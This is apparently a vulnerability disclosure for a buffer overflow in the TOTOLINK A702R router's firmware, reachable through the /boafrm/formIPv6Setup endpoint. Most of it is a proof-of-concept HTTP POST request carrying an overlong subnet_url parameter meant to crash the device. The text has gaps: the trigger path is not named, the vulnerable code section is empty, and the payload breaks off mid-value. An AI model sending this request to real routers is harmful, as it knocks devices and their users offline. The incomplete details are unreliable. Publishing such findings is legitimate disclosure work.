Critical Vulnerability Information Product Information Vendor: TOTOLINK Affected Product: A702R Affected Firmware Version: V4.0.0-B20230721.1521 Vulnerability Overview The TOTOLINK A702R router running firmware version V4.0.0-B20230721.1521 is affected by a severe buffer overflow vulnerability. This vulnerability can be triggered via the path. Attackers can exploit it by sending malicious HTTP POST requests to perform a Denial of Service (DoS) attack. Vulnerability Details The code contains a buffer overflow issue, specifically in the following section: POC (Proof of Concept) ```http POST /boafrm/formIPv6Setup HTTP/1.1 Host: 192.168.0.1 User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:108.0) Gecko/20100101 Firefox/108.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 1008 Origin: http://192.168.0.1 Connection: close Referer: http://192.168.0.1/toolipwan.htm Priority: u=8 sessionCheck=ef5d087ec4d25b4f895796f3918dc98&update=2&subnet_url=http://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa